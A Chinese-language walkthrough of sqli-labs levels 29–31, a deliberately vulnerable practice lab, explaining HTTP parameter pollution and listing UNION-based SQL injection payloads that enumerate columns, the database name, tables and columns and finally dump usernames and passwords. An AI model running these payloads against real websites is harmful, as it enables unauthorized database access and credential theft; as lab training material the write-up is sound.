sqli_labs第二十九/三十/三十一关——hpp注入
一:HTTP参数污染:
hpp(http parameter pollution)注入中,可以通过在hppt的请求中注入多个同名参数来绕过安全过滤
原理:php默认只取最后一个同名参数
比如在这一关里,可能对第一个id参数进行消毒处理,但php实际执行的时候使用了第二个没被消毒的id参数
二:判断闭合方式
输入?id=1和?id=1'的时候产生报错
用两个参数进行单引号闭合 ,闭合成功
三:开始攻击
1.判断列数:
?id=1&id=1' order by 1,2,3,4--+
三列
2.爆回显位:
?id=1&id=-1' union select 1,2,3--+
3.爆数据库名,版本号
?id=1&id=-1' union select 1,database(),version()--+
4.爆表名,行数
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
5.爆列名:
?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
6.爆数据
?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users--+
ps1:
在查看源码和尝试注入的过程中,发现本关waf的拦截好像并没有起作用,题目存在误导性,用布尔检测和盲注应该也能正常做
ps2:
第三十关把闭合方式改成了双引号 ” ,第三十一关把闭合方式改成了双引号括号 “),其余全部相同